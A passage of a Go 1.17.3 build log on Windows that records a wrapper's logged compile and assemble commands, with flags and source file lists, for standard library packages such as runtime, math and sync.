Files\Go\src\internal\goexperiment\exp_fieldtrack_off.go C:\Program
Files\Go\src\internal
\goexperiment\exp_preemptibleloops_off.go C:\Program
Files\Go\src\internal\goexperiment\exp_regabi_off.go C:\Program
Files\Go\src\internal\goexperiment\exp_regabiargs_on
.go C:\Program Files\Go\src\internal\goexperiment\exp_regabidefer_on.go
C:\Program Files\Go\src\internal\goexperiment\exp_regabig_on.go C:\Program
Files\Go\src\internal\
goexperiment\exp_regabireflect_on.go C:\Program
Files\Go\src\internal\goexperiment\exp_regabiwrappers_on.go C:\Program
Files\Go\src\internal\goexperiment\exp_staticlockr
anking_off.go C:\Program Files\Go\src\internal\goexperiment\flags.go]
# internal/unsafeheader
[wrapper] 2022/06/13 20:01:38 compile [-o $WORK\b006\_pkg_.a -trimpath
$WORK\b006=> -p internal/unsafeheader -std -complete -buildid
mwGAz6dKSSDg2JoK4bNl/mwGAz6dKSSDg2Jo
K4bNl -goversion go1.17.3 -importcfg $WORK\b006\importcfg -pack -c=4 C:\Program
Files\Go\src\internal\unsafeheader\unsafeheader.go]
# internal/itoa
[wrapper] 2022/06/13 20:01:38 compile [-o $WORK\b018\_pkg_.a -trimpath
$WORK\b018=> -p internal/itoa -std -complete -buildid
i0NdNBF_uK3r6NifZ2GX/i0NdNBF_uK3r6NifZ2GX -g
oversion go1.17.3 -importcfg $WORK\b018\importcfg -pack -c=4 C:\Program
Files\Go\src\internal\itoa\itoa.go]
# runtime/internal/sys
[wrapper] 2022/06/13 20:01:38 compile [-o $WORK\b015\_pkg_.a -trimpath
$WORK\b015=> -p runtime/internal/sys -std -+ -complete -buildid
W5p1vhfCuytMnIjlN-ih/W5p1vhfCuytMn
IjlN-ih -goversion go1.17.3 -importcfg $WORK\b015\importcfg -pack -c=4
C:\Program Files\Go\src\runtime\internal\sys\arch.go C:\Program
Files\Go\src\runtime\internal\sys\
arch_amd64.go C:\Program Files\Go\src\runtime\internal\sys\intrinsics.go
C:\Program Files\Go\src\runtime\internal\sys\intrinsics_common.go C:\Program
Files\Go\src\runtim
e\internal\sys\sys.go C:\Program
Files\Go\src\runtime\internal\sys\zgoarch_amd64.go C:\Program
Files\Go\src\runtime\internal\sys\zgoos_windows.go C:\Program Files\Go\src
\runtime\internal\sys\zversion.go]
# math/bits
[wrapper] 2022/06/13 20:01:38 compile [-o $WORK\b020\_pkg_.a -trimpath
$WORK\b020=> -p math/bits -std -complete -buildid
Ff7UUfxn1bGDQC0K8wyl/Ff7UUfxn1bGDQC0K8wyl -gover
sion go1.17.3 -importcfg $WORK\b020\importcfg -pack -c=4 C:\Program
Files\Go\src\math\bits\bits.go C:\Program Files\Go\src\math\bits\bits_errors.go
C:\Program Files\Go\s
rc\math\bits\bits_tables.go]
# runtime/internal/math
[wrapper] 2022/06/13 20:01:38 compile [-o $WORK\b014\_pkg_.a -trimpath
$WORK\b014=> -p runtime/internal/math -std -+ -complete -buildid
xqo7YJd8M70e8ASDtNZ-/xqo7YJd8M70e
8ASDtNZ- -goversion go1.17.3 -importcfg $WORK\b014\importcfg -pack -c=4
C:\Program Files\Go\src\runtime\internal\math\math.go]
# internal/race
[wrapper] 2022/06/13 20:01:38 compile [-o $WORK\b024\_pkg_.a -trimpath
$WORK\b024=> -p internal/race -std -complete -buildid
sZgg8G96oq_4_bYtgJnd/sZgg8G96oq_4_bYtgJnd -g
oversion go1.17.3 -importcfg $WORK\b024\importcfg -pack -c=4 C:\Program
Files\Go\src\internal\race\doc.go C:\Program
Files\Go\src\internal\race\norace.go]
# unicode/utf8
[wrapper] 2022/06/13 20:01:38 compile [-o $WORK\b022\_pkg_.a -trimpath
$WORK\b022=> -p unicode/utf8 -std -complete -buildid
PbEHlywceXOEI78tDCyx/PbEHlywceXOEI78tDCyx -go
version go1.17.3 -importcfg $WORK\b022\importcfg -pack -c=4 C:\Program
Files\Go\src\unicode\utf8\utf8.go]
# unicode
[wrapper] 2022/06/13 20:01:38 compile [-o $WORK\b026\_pkg_.a -trimpath
$WORK\b026=> -p unicode -std -complete -buildid
TGK0PU80wJw4T60TLMdg/TGK0PU80wJw4T60TLMdg -goversi
on go1.17.3 -importcfg $WORK\b026\importcfg -pack -c=4 C:\Program
Files\Go\src\unicode\casetables.go C:\Program Files\Go\src\unicode\digit.go
C:\Program Files\Go\src\uni
code\graphic.go C:\Program Files\Go\src\unicode\letter.go C:\Program
Files\Go\src\unicode\tables.go]
# internal/syscall/windows/sysdll
[wrapper] 2022/06/13 20:01:38 compile [-o $WORK\b033\_pkg_.a -trimpath
$WORK\b033=> -p internal/syscall/windows/sysdll -std -complete -buildid
-6nOIWqBkpkRNgclC0_n/-6nOI
WqBkpkRNgclC0_n -goversion go1.17.3 -importcfg $WORK\b033\importcfg -pack -c=4
C:\Program Files\Go\src\internal\syscall\windows\sysdll\sysdll.go]
# unicode/utf16
[wrapper] 2022/06/13 20:01:38 compile [-o $WORK\b035\_pkg_.a -trimpath
$WORK\b035=> -p unicode/utf16 -std -complete -buildid FQCLg3CEAGaEn-
w4h4G1/FQCLg3CEAGaEn-w4h4G1 -g
oversion go1.17.3 -importcfg $WORK\b035\importcfg -pack -c=4 C:\Program
Files\Go\src\unicode\utf16\utf16.go]
# internal/abi
[wrapper] 2022/06/13 20:01:38 asm [-p internal/abi -trimpath $WORK\b009=> -I
$WORK\b009\ -I C:\Program Files\Go\pkg\include -D GOOS_windows -D GOARCH_amd64 -
gensymabis -
o $WORK\b009\symabis C:\Program Files\Go\src\internal\abi\abi_test.s]
# internal/abi
[wrapper] 2022/06/13 20:01:38 compile [-o $WORK\b009\_pkg_.a -trimpath
$WORK\b009=> -p internal/abi -std -+ -buildid
OOfQynQMbYfFcbyocx4a/OOfQynQMbYfFcbyocx4a -goversion
go1.17.3 -symabis $WORK\b009\symabis -importcfg $WORK\b009\importcfg -pack -
asmhdr $WORK\b009\go_asm.h -c=4 C:\Program Files\Go\src\internal\abi\abi.go
C:\Program Files
\Go\src\internal\abi\abi_amd64.go]
# internal/abi
[wrapper] 2022/06/13 20:01:38 asm [-p internal/abi -trimpath $WORK\b009=> -I
$WORK\b009\ -I C:\Program Files\Go\pkg\include -D GOOS_windows -D GOARCH_amd64 -
o $WORK\b009
\abi_test.o C:\Program Files\Go\src\internal\abi\abi_test.s]
# runtime/internal/atomic
[wrapper] 2022/06/13 20:01:38 asm [-p runtime/internal/atomic -trimpath
$WORK\b013=> -I $WORK\b013\ -I C:\Program Files\Go\pkg\include -D GOOS_windows -
D GOARCH_amd64 -c
ompiling-runtime -gensymabis -o $WORK\b013\symabis C:\Program
Files\Go\src\runtime\internal\atomic\atomic_amd64.s]
# runtime/internal/atomic
[wrapper] 2022/06/13 20:01:38 compile [-o $WORK\b013\_pkg_.a -trimpath
$WORK\b013=> -p runtime/internal/atomic -std -+ -buildid
K03wLRDX9XaOcw8H7Che/K03wLRDX9XaOcw8H7Che
-goversion go1.17.3 -symabis $WORK\b013\symabis -importcfg $WORK\b013\importcfg
-pack -asmhdr $WORK\b013\go_asm.h -c=4 C:\Program
Files\Go\src\runtime\internal\atomic\a
tomic_amd64.go C:\Program Files\Go\src\runtime\internal\atomic\stubs.go
C:\Program Files\Go\src\runtime\internal\atomic\unaligned.go]
# runtime/internal/atomic
[wrapper] 2022/06/13 20:01:38 asm [-p runtime/internal/atomic -trimpath
$WORK\b013=> -I $WORK\b013\ -I C:\Program Files\Go\pkg\include -D GOOS_windows -
D GOARCH_amd64 -c
ompiling-runtime -o $WORK\b013\atomic_amd64.o C:\Program
Files\Go\src\runtime\internal\atomic\atomic_amd64.s]
# sync/atomic
[wrapper] 2022/06/13 20:01:38 asm [-p sync/atomic -trimpath $WORK\b025=> -I
$WORK\b025\ -I C:\Program Files\Go\pkg\include -D GOOS_windows -D GOARCH_amd64 -
gensymabis -o
$WORK\b025\symabis C:\Program Files\Go\src\sync\atomic\asm.s]
# sync/atomic
[wrapper] 2022/06/13 20:01:38 compile [-o $WORK\b025\_pkg_.a -trimpath
$WORK\b025=> -p sync/atomic -std -buildid
9J9Ihv_7NNjWflWvCs8r/9J9Ihv_7NNjWflWvCs8r -goversion go1
.17.3 -symabis $WORK\b025\symabis -importcfg $WORK\b025\importcfg -pack -asmhdr
$WORK\b025\go_asm.h -c=4 C:\Program Files\Go\src\sync\atomic\doc.go C:\Program
Files\Go\s
rc\sync\atomic\value.go]
# sync/atomic
[wrapper] 2022/06/13 20:01:38 asm [-p sync/atomic -trimpath $WORK\b025=> -I
$WORK\b025\ -I C:\Program Files\Go\pkg\include -D GOOS_windows -D GOARCH_amd64 -
o $WORK\b025\
asm.o C:\Program Files\Go\src\sync\atomic\asm.s]
# internal/cpu
[wrapper] 2022/06/13 20:01:38 asm [-p internal/cpu -trimpath $WORK\b011=> -I
$WORK\b011\ -I C:\Program Files\Go\pkg\include -D GOOS_windows -D GOARCH_amd64 -
gensymabis -
o $WORK\b011\symabis C:\Program Files\Go\src\internal\cpu\cpu.s C:\Program
Files\Go\src\internal\cpu\cpu_x86.s]
# internal/cpu
[wrapper] 2022/06/13 20:01:38 compile [-o $WORK\b011\_pkg_.a -trimpath
$WORK\b011=> -p internal/cpu -std -+ -buildid
I7hj9tcw7aqhr3Nhp3SB/I7hj9tcw7aqhr3Nhp3SB -goversion
go1.17.3 -symabis $WORK\b011\symabis -importcfg $WORK\b011\importcfg -pack -
asmhdr $WORK\b011\go_asm.h -c=4 C:\Program Files\Go\src\internal\cpu\cpu.go
C:\Program Files
\Go\src\internal\cpu\cpu_amd64.go C:\Program
Files\Go\src\internal\cpu\cpu_x86.go]
# internal/cpu
[wrapper] 2022/06/13 20:01:38 asm [-p internal/cpu -trimpath $WORK\b011=> -I
$WORK\b011\ -I C:\Program Files\Go\pkg\include -D GOOS_windows -D GOARCH_amd64 -
o $WORK\b011
\cpu.o C:\Program Files\Go\src\internal\cpu\cpu.s]
# internal/cpu
[wrapper] 2022/06/13 20:01:38 asm [-p internal/cpu -trimpath $WORK\b011=> -I
$WORK\b011\ -I C:\Program Files\Go\pkg\include -D GOOS_windows -D GOARCH_amd64 -
o $WORK\b011
\cpu_x86.o C:\Program Files\Go\src\internal\cpu\cpu_x86.s]
# internal/bytealg
[wrapper] 2022/06/13 20:01:38 asm [-p internal/bytealg -trimpath $WORK\b010=> -I
$WORK\b010\ -I C:\Program Files\Go\pkg\include -D GOOS_windows -D GOARCH_amd64 -
compilin
g-runtime -gensymabis -o $WORK\b010\symabis C:\Program
Files\Go\src\internal\bytealg\compare_amd64.s C:\Program
Files\Go\src\internal\bytealg\count_amd64.s C:\Program Fi
les\Go\src\internal\bytealg\equal_amd64.s C:\Program
Files\Go\src\internal\bytealg\index_amd64.s C:\Program
Files\Go\src\internal\bytealg\indexbyte_amd64.s]
# internal/bytealg
[wrapper] 2022/06/13 20:01:38 compile [-o $WORK\b010\_pkg_.a -trimpath
$WORK\b010=> -p internal/bytealg -std -+ -buildid
iBG3Jw868pDYxvOYsWMz/iBG3Jw868pDYxvOYsWMz -gover
sion go1.17.3 -symabis $WORK\b010\symabis -importcfg $WORK\b010\importcfg -pack
-asmhdr $WORK\b010\go_asm.h -c=4 C:\Program
Files\Go\src\internal\bytealg\bytealg.go C:\P
rogram Files\Go\src\internal\bytealg\compare_native.go C:\Program
Files\Go\src\internal\bytealg\count_native.go C:\Program
Files\Go\src\internal\bytealg\equal_generic.go
C:\Program Files\Go\src\internal\bytealg\equal_native.go C:\Program
Files\Go\src\internal\bytealg\index_amd64.go C:\Program
Files\Go\src\internal\bytealg\index_native.g
o C:\Program Files\Go\src\internal\bytealg\indexbyte_native.go]
# internal/bytealg
[wrapper] 2022/06/13 20:01:38 asm [-p internal/bytealg -trimpath $WORK\b010=> -I
$WORK\b010\ -I C:\Program Files\Go\pkg\include -D GOOS_windows -D GOARCH_amd64 -
compilin
g-runtime -o $WORK\b010\compare_amd64.o C:\Program
Files\Go\src\internal\bytealg\compare_amd64.s]
# internal/bytealg
[wrapper] 2022/06/13 20:01:38 asm [-p internal/bytealg -trimpath $WORK\b010=> -I
$WORK\b010\ -I C:\Program Files\Go\pkg\include -D GOOS_windows -D GOARCH_amd64 -
compilin
g-runtime -o $WORK\b010\count_amd64.o C:\Program
Files\Go\src\internal\bytealg\count_amd64.s]
# internal/bytealg
[wrapper] 2022/06/13 20:01:39 asm [-p internal/bytealg -trimpath $WORK\b010=> -I
$WORK\b010\ -I C:\Program Files\Go\pkg\include -D GOOS_windows -D GOARCH_amd64 -
compilin
g-runtime -o $WORK\b010\equal_amd64.o C:\Program
Files\Go\src\internal\bytealg\equal_amd64.s]
# internal/bytealg
[wrapper] 2022/06/13 20:01:39 asm [-p internal/bytealg -trimpath $WORK\b010=> -I
$WORK\b010\ -I C:\Program Files\Go\pkg\include -D GOOS_windows -D GOARCH_amd64 -
compilin
g-runtime -o $WORK\b010\index_amd64.o C:\Program
Files\Go\src\internal\bytealg\index_amd64.s]
# internal/bytealg
[wrapper] 2022/06/13 20:01:39 asm [-p internal/bytealg -trimpath $WORK\b010=> -I
$WORK\b010\ -I C:\Program Files\Go\pkg\include -D GOOS_windows -D GOARCH_amd64 -
compilin
g-runtime -o $WORK\b010\indexbyte_amd64.o C:\Program
Files\Go\src\internal\bytealg\indexbyte_amd64.s]
# math
[wrapper] 2022/06/13 20:01:38 asm [-p math -trimpath $WORK\b019=> -I $WORK\b019\
-I C:\Program Files\Go\pkg\include -D GOOS_windows -D GOARCH_amd64 -gensymabis -
o $WORK\
b019\symabis C:\Program Files\Go\src\math\dim_amd64.s C:\Program
Files\Go\src\math\exp_amd64.s C:\Program Files\Go\src\math\floor_amd64.s
C:\Program Files\Go\src\math\hy
pot_amd64.s C:\Program Files\Go\src\math\log_amd64.s C:\Program
Files\Go\src\math\sqrt_amd64.s]
# math
[wrapper] 2022/06/13 20:01:38 compile [-o $WORK\b019\_pkg_.a -trimpath
$WORK\b019=> -p math -std -buildid VNryqGb7OcjZtpsL7zEi/VNryqGb7OcjZtpsL7zEi -
goversion go1.17.3 -
symabis $WORK\b019\symabis -importcfg $WORK\b019\importcfg -pack -asmhdr
$WORK\b019\go_asm.h -c=4 C:\Program Files\Go\src\math\abs.go C:\Program
Files\Go\src\math\acosh.
go C:\Program Files\Go\src\math\asin.go C:\Program Files\Go\src\math\asinh.go
C:\Program Files\Go\src\math\atan.go C:\Program Files\Go\src\math\atan2.go
C:\Program Files
\Go\src\math\atanh.go C:\Program Files\Go\src\math\bits.go C:\Program
Files\Go\src\math\cbrt.go C:\Program Files\Go\src\math\const.go C:\Program
Files\Go\src\math\copysi
gn.go C:\Program Files\Go\src\math\dim.go C:\Program Files\Go\src\math\dim_asm.go
C:\Program Files\Go\src\math\erf.go C:\Program Files\Go\src\math\erfinv.go
C:\Program F
iles\Go\src\math\exp.go C:\Program Files\Go\src\math\exp2_noasm.go C:\Program
Files\Go\src\math\exp_amd64.go C:\Program Files\Go\src\math\exp_asm.go C:\Program
Files\Go\
src\math\expm1.go C:\Program Files\Go\src\math\floor.go C:\Program
Files\Go\src\math\floor_asm.go C:\Program Files\Go\src\math\fma.go C:\Program
Files\Go\src\math\frexp.
go C:\Program Files\Go\src\math\gamma.go C:\Program Files\Go\src\math\hypot.go
C:\Program Files\Go\src\math\hypot_asm.go C:\Program Files\Go\src\math\j0.go
C:\Program Fi
les\Go\src\math\j1.go C:\Program Files\Go\src\math\jn.go C:\Program
Files\Go\src\math\ldexp.go C:\Program Files\Go\src\math\lgamma.go C:\Program
Files\Go\src\math\log.go
C:\Program Files\Go\src\math\log10.go C:\Program Files\Go\src\math\log1p.go
C:\Program Files\Go\src\math\log_asm.go C:\Program Files\Go\src\math\logb.go
C:\Program File
s\Go\src\math\mod.go C:\Program Files\Go\src\math\modf.go C:\Program
Files\Go\src\math\modf_noasm.go C:\Program Files\Go\src\math\nextafter.go
C:\Program Files\Go\src\ma
th\pow.go C:\Program Files\Go\src\math\pow10.go C:\Program
Files\Go\src\math\remainder.go C:\Program Files\Go\src\math\signbit.go C:\Program
Files\Go\src\math\sin.go C:\
Program Files\Go\src\math\sincos.go C:\Program Files\Go\src\math\sinh.go
C:\Program Files\Go\src\math\sqrt.go C:\Program Files\Go\src\math\sqrt_asm.go
C:\Program Files\G
o\src\math\stubs.go C:\Program Files\Go\src\math\tan.go C:\Program
Files\Go\src\math\tanh.go C:\Program Files\Go\src\math\trig_reduce.go C:\Program
Files\Go\src\math\uns
afe.go]
# math
[wrapper] 2022/06/13 20:01:38 asm [-p math -trimpath $WORK\b019=> -I $WORK\b019\
-I C:\Program Files\Go\pkg\include -D GOOS_windows -D GOARCH_amd64 -o
$WORK\b019\dim_amd
64.o C:\Program Files\Go\src\math\dim_amd64.s]
# math
[wrapper] 2022/06/13 20:01:38 asm [-p math -trimpath $WORK\b019=> -I $WORK\b019\
-I C:\Program Files\Go\pkg\include -D GOOS_windows -D GOARCH_amd64 -o
$WORK\b019\exp_amd
64.o C:\Program Files\Go\src\math\exp_amd64.s]
# math
[wrapper] 2022/06/13 20:01:39 asm [-p math -trimpath $WORK\b019=> -I $WORK\b019\
-I C:\Program Files\Go\pkg\include -D GOOS_windows -D GOARCH_amd64 -o
$WORK\b019\floor_a
md64.o C:\Program Files\Go\src\math\floor_amd64.s]
# math
[wrapper] 2022/06/13 20:01:39 asm [-p math -trimpath $WORK\b019=> -I $WORK\b019\
-I C:\Program Files\Go\pkg\include -D GOOS_windows -D GOARCH_amd64 -o
$WORK\b019\hypot_a
md64.o C:\Program Files\Go\src\math\hypot_amd64.s]
# math
[wrapper] 2022/06/13 20:01:39 asm [-p math -trimpath $WORK\b019=> -I $WORK\b019\
-I C:\Program Files\Go\pkg\include -D GOOS_windows -D GOARCH_amd64 -o
$WORK\b019\log_amd
64.o C:\Program Files\Go\src\math\log_amd64.s]
# math
[wrapper] 2022/06/13 20:01:39 asm [-p math -trimpath $WORK\b019=> -I $WORK\b019\
-I C:\Program Files\Go\pkg\include -D GOOS_windows -D GOARCH_amd64 -o
$WORK\b019\sqrt_am
d64.o C:\Program Files\Go\src\math\sqrt_amd64.s]
# runtime
[wrapper] 2022/06/13 20:01:39 asm [-p runtime -trimpath $WORK\b008=> -I
$WORK\b008\ -I C:\Program Files\Go\pkg\include -D GOOS_windows -D GOARCH_amd64 -
compiling-runtime
-gensymabis -o $WORK\b008\symabis C:\Program Files\Go\src\runtime\asm.s
C:\Program Files\Go\src\runtime\asm_amd64.s C:\Program
Files\Go\src\runtime\duff_amd64.s C:\Prog
ram Files\Go\src\runtime\memclr_amd64.s C:\Program
Files\Go\src\runtime\memmove_amd64.s C:\Program
Files\Go\src\runtime\preempt_amd64.s C:\Program Files\Go\src\runtime\r
t0_windows_amd64.s C:\Program Files\Go\src\runtime\sys_windows_amd64.s C:\Program
Files\Go\src\runtime\time_windows_amd64.s C:\Program
Files\Go\src\runtime\zcallback_win
dows.s]
# runtime
[wrapper] 2022/06/13 20:01:39 compile [-o $WORK\b008\_pkg_.a -trimpath
$WORK\b008=> -p runtime -std -+ -buildid En5KV2cK-C7LWFCB25JI/En5KV2cK-
C7LWFCB25JI -goversion go1.
17.3 -symabis $WORK\b008\symabis -importcfg $WORK\b008\importcfg -pack -asmhdr
$WORK\b008\go_asm.h -c=4 C:\Program Files\Go\src\runtime\alg.go C:\Program
Files\Go\src\ru
ntime\atomic_pointer.go C:\Program Files\Go\src\runtime\auxv_none.go C:\Program
Files\Go\src\runtime\cgo.go C:\Program Files\Go\src\runtime\cgocall.go C:\Program
Files\G
o\src\runtime\cgocallback.go C:\Program Files\Go\src\runtime\cgocheck.go
C:\Program Files\Go\src\runtime\chan.go C:\Program
Files\Go\src\runtime\checkptr.go C:\Program F
iles\Go\src\runtime\compiler.go C:\Program Files\Go\src\runtime\complex.go
C:\Program Files\Go\src\runtime\cpuflags.go C:\Program
Files\Go\src\runtime\cpuflags_amd64.go
C:\Program Files\Go\src\runtime\cpuprof.go C:\Program
Files\Go\src\runtime\cputicks.go C:\Program Files\Go\src\runtime\debug.go
C:\Program Files\Go\src\runtime\debugcall
.go C:\Program Files\Go\src\runtime\debuglog.go C:\Program
Files\Go\src\runtime\debuglog_off.go C:\Program
Files\Go\src\runtime\defs_windows.go C:\Program Files\Go\src\r
untime\defs_windows_amd64.go C:\Program Files\Go\src\runtime\env_posix.go
C:\Program Files\Go\src\runtime\error.go C:\Program
Files\Go\src\runtime\extern.go C:\Program F
iles\Go\src\runtime\fastlog2.go C:\Program Files\Go\src\runtime\fastlog2table.go
C:\Program Files\Go\src\runtime\float.go C:\Program
Files\Go\src\runtime\hash64.go C:\Pr
ogram Files\Go\src\runtime\heapdump.go C:\Program
Files\Go\src\runtime\histogram.go C:\Program Files\Go\src\runtime\iface.go
C:\Program Files\Go\src\runtime\lfstack.go C
:\Program Files\Go\src\runtime\lfstack_64bit.go C:\Program
Files\Go\src\runtime\lock_sema.go C:\Program Files\Go\src\runtime\lockrank.go
C:\Program Files\Go\src\runtime\
lockrank_off.go C:\Program Files\Go\src\runtime\malloc.go C:\Program
Files\Go\src\runtime\map.go C:\Program Files\Go\src\runtime\map_fast32.go
C:\Program Files\Go\src\ru
ntime\map_fast64.go C:\Program Files\Go\src\runtime\map_faststr.go C:\Program
Files\Go\src\runtime\mbarrier.go C:\Program Files\Go\src\runtime\mbitmap.go
C:\Program File
s\Go\src\runtime\mcache.go C:\Program Files\Go\src\runtime\mcentral.go C:\Program
Files\Go\src\runtime\mcheckmark.go C:\Program Files\Go\src\runtime\mem_windows.go
C:\Pr
ogram Files\Go\src\runtime\metrics.go C:\Program Files\Go\src\runtime\mfinal.go
C:\Program Files\Go\src\runtime\mfixalloc.go C:\Program
Files\Go\src\runtime\mgc.go C:\Pr
ogram Files\Go\src\runtime\mgcmark.go C:\Program Files\Go\src\runtime\mgcpacer.go
C:\Program Files\Go\src\runtime\mgcscavenge.go C:\Program
Files\Go\src\runtime\mgcstack
.go C:\Program Files\Go\src\runtime\mgcsweep.go C:\Program
Files\Go\src\runtime\mgcwork.go C:\Program Files\Go\src\runtime\mheap.go
C:\Program Files\Go\src\runtime\mpage
alloc.go C:\Program Files\Go\src\runtime\mpagealloc_64bit.go C:\Program
Files\Go\src\runtime\mpagecache.go C:\Program Files\Go\src\runtime\mpallocbits.go
C:\Program File
s\Go\src\runtime\mprof.go C:\Program Files\Go\src\runtime\mranges.go C:\Program
Files\Go\src\runtime\msan0.go C:\Program Files\Go\src\runtime\msize.go C:\Program
Files\G
o\src\runtime\mspanset.go C:\Program Files\Go\src\runtime\mstats.go C:\Program
Files\Go\src\runtime\mwbbuf.go C:\Program Files\Go\src\runtime\netpoll.go
C:\Program Files
\Go\src\runtime\netpoll_windows.go C:\Program
Files\Go\src\runtime\os_nonopenbsd.go C:\Program
Files\Go\src\runtime\os_windows.go C:\Program Files\Go\src\runtime\panic.g
o C:\Program Files\Go\src\runtime\plugin.go C:\Program
Files\Go\src\runtime\preempt.go C:\Program Files\Go\src\runtime\print.go
C:\Program Files\Go\src\runtime\proc.go C
:\Program Files\Go\src\runtime\profbuf.go C:\Program
Files\Go\src\runtime\proflabel.go C:\Program Files\Go\src\runtime\race0.go
C:\Program Files\Go\src\runtime\rdebug.go
C:\Program Files\Go\src\runtime\runtime.go C:\Program
Files\Go\src\runtime\runtime1.go C:\Program Files\Go\src\runtime\runtime2.go
C:\Program Files\Go\src\runtime\rwmut
ex.go C:\Program Files\Go\src\runtime\select.go C:\Program
Files\Go\src\runtime\sema.go C:\Program Files\Go\src\runtime\signal_windows.go
C:\Program Files\Go\src\runtime
\sigqueue.go C:\Program Files\Go\src\runtime\sigqueue_note.go C:\Program
Files\Go\src\runtime\sizeclasses.go C:\Program Files\Go\src\runtime\slice.go
C:\Program Files\Go
\src\runtime\softfloat64.go C:\Program Files\Go\src\runtime\stack.go C:\Program
Files\Go\src\runtime\string.go C:\Program Files\Go\src\runtime\stubs.go
C:\Program Files\
Go\src\runtime\stubs3.go C:\Program Files\Go\src\runtime\stubs_amd64.go
C:\Program Files\Go\src\runtime\stubs_nonlinux.go C:\Program
Files\Go\src\runtime\symtab.go C:\Pr
ogram Files\Go\src\runtime\sys_nonppc64x.go C:\Program
Files\Go\src\runtime\sys_x86.go C:\Program
Files\Go\src\runtime\syscall_windows.go C:\Program Files\Go\src\runtime
\time.go C:\Program Files\Go\src\runtime\time_nofake.go C:\Program
Files\Go\src\runtime\timeasm.go C:\Program
Files\Go\src\runtime\tls_windows_amd64.go C:\Program Files\
Go\src\runtime\trace.go C:\Program Files\Go\src\runtime\traceback.go C:\Program
Files\Go\src\runtime\type.go C:\Program Files\Go\src\runtime\typekind.go
C:\Program Files
\Go\src\runtime\utf8.go C:\Program Files\Go\src\runtime\vdso_in_none.go
C:\Program Files\Go\src\runtime\write_err.go C:\Program
Files\Go\src\runtime\zcallback_windows.go
]
# runtime
[wrapper] 2022/06/13 20:01:40 asm [-p runtime -trimpath $WORK\b008=> -I
$WORK\b008\ -I C:\Program Files\Go\pkg\include -D GOOS_windows -D GOARCH_amd64 -
compiling-runtime
-o $WORK\b008\asm.o C:\Program Files\Go\src\runtime\asm.s]
# runtime
[wrapper] 2022/06/13 20:01:40 asm [-p runtime -trimpath $WORK\b008=> -I
$WORK\b008\ -I C:\Program Files\Go\pkg\include -D GOOS_windows -D GOARCH_amd64 -
compiling-runtime
-o $WORK\b008\asm_amd64.o C:\Program Files\Go\src\runtime\asm_amd64.s]
# runtime
[wrapper] 2022/06/13 20:01:40 asm [-p runtime -trimpath $WORK\b008=> -I
$WORK\b008\ -I C:\Program Files\Go\pkg\include -D GOOS_windows -D GOARCH_amd64 -
compiling-runtime
-o $WORK\b008\duff_amd64.o C:\Program Files\Go\src\runtime\duff_amd64.s]
# runtime
[wrapper] 2022/06/13 20:01:40 asm [-p runtime -trimpath $WORK\b008=> -I
$WORK\b008\ -I C:\Program Files\Go\pkg\include -D GOOS_windows -D GOARCH_amd64 -
compiling-runtime
-o $WORK\b008\memclr_amd64.o C:\Program Files\Go\src\runtime\memclr_amd64.s]
# runtime
[wrapper] 2022/06/13 20:01:40 asm [-p runtime -trimpath $WORK\b008=> -I
$WORK\b008\ -I C:\Program Files\Go\pkg\include -D GOOS_windows -D GOARCH_amd64 -
compiling-runtime
-o $WORK\b008\memmove_amd64.o C:\Program Files\Go\src\runtime\memmove_amd64.s]
# runtime
[wrapper] 2022/06/13 20:01:40 asm [-p runtime -trimpath $WORK\b008=> -I
$WORK\b008\ -I C:\Program Files\Go\pkg\include -D GOOS_windows -D GOARCH_amd64 -
compiling-runtime
-o $WORK\b008\preempt_amd64.o C:\Program Files\Go\src\runtime\preempt_amd64.s]
# runtime
[wrapper] 2022/06/13 20:01:40 asm [-p runtime -trimpath $WORK\b008=> -I
$WORK\b008\ -I C:\Program Files\Go\pkg\include -D GOOS_windows -D GOARCH_amd64 -
compiling-runtime
-o $WORK\b008\rt0_windows_amd64.o C:\Program
Files\Go\src\runtime\rt0_windows_amd64.s]
# runtime
[wrapper] 2022/06/13 20:01:40 asm [-p runtime -trimpath $WORK\b008=> -I
$WORK\b008\ -I C:\Program Files\Go\pkg\include -D GOOS_windows -D GOARCH_amd64 -
compiling-runtime
-o $WORK\b008\sys_windows_amd64.o C:\Program
Files\Go\src\runtime\sys_windows_amd64.s]
# runtime
[wrapper] 2022/06/13 20:01:40 asm [-p runtime -trimpath $WORK\b008=> -I
$WORK\b008\ -I C:\Program Files\Go\pkg\include -D GOOS_windows -D GOARCH_amd64 -
compiling-runtime
-o $WORK\b008\time_windows_amd64.o C:\Program
Files\Go\src\runtime\time_windows_amd64.s]
# runtime
[wrapper] 2022/06/13 20:01:40 asm [-p runtime -trimpath $WORK\b008=> -I
$WORK\b008\ -I C:\Program Files\Go\pkg\include -D GOOS_windows -D GOARCH_amd64 -
compiling-runtime
-o $WORK\b008\zcallback_windows.o C:\Program
Files\Go\src\runtime\zcallback_windows.s]
# sync
[wrapper] 2022/06/13 20:01:41 compile [-o $WORK\b023\_pkg_.a -trimpath
$WORK\b023=> -p sync -std -buildid Wo0Bui_1cW2t7jLVG7px/Wo0Bui_1cW2t7jLVG7px -
goversion go1.17.3 -
importcfg $WORK\b023\importcfg -pack -c=4 C:\Program Files\Go\src\sync\cond.go
C:\Program Files\Go\src\sync\map.go C:\Program Files\Go\src\sync\mutex.go
C:\Program Files
\Go\src\sync\once.go C:\Program Files\Go\src\sync\pool.go C:\Program
Files\Go\src\sync\poolqueue.go C:\Program Files\Go\src\sync\runtime.go C:\Program
Files\Go\src\sync\
runtime2.go C:\Program Files\Go\src\sync\rwmutex.go C:\Program
Files\Go\src\sync\waitgroup.go]
# internal/testlog
[wrapper] 2022/06/13 20:01:41 compile [-o $WORK\b039\_pkg_.a -trimpath
$WORK\b039=> -p internal/testlog -std -complete -buildid
lIMbs8nys0Z1zQQqOWYy/lIMbs8nys0Z1zQQqOWYy
-goversion go1.17.3 -importcfg $WORK\b039\importcfg -pack -c=4 C:\Program
Files\Go\src\internal\testlog\exit.go C:\Program
Files\Go\src\internal\testlog\log.go]
# internal/reflectlite
[wrapper] 2022/06/13 20:01:41 asm [-p internal/reflectlite -trimpath
$WORK\b005=> -I $WORK\b005\ -I C:\Program Files\Go\pkg\include -D GOOS_windows -
D GOARCH_amd64 -gens
ymabis -o $WORK\b005\symabis C:\Program Files\Go\src\internal\reflectlite\asm.s]
# internal/reflectlite
[wrapper] 2022/06/13 20:01:41 compile [-o $WORK\b005\_pkg_.a -trimpath
$WORK\b005=> -p internal/reflectlite -std -buildid
eqGxEm5y5RnYVV1ZAnD1/eqGxEm5y5RnYVV1ZAnD1 -gove
rsion go1.17.3 -symabis $WORK\b005\symabis -importcfg $WORK\b005\importcfg -pack
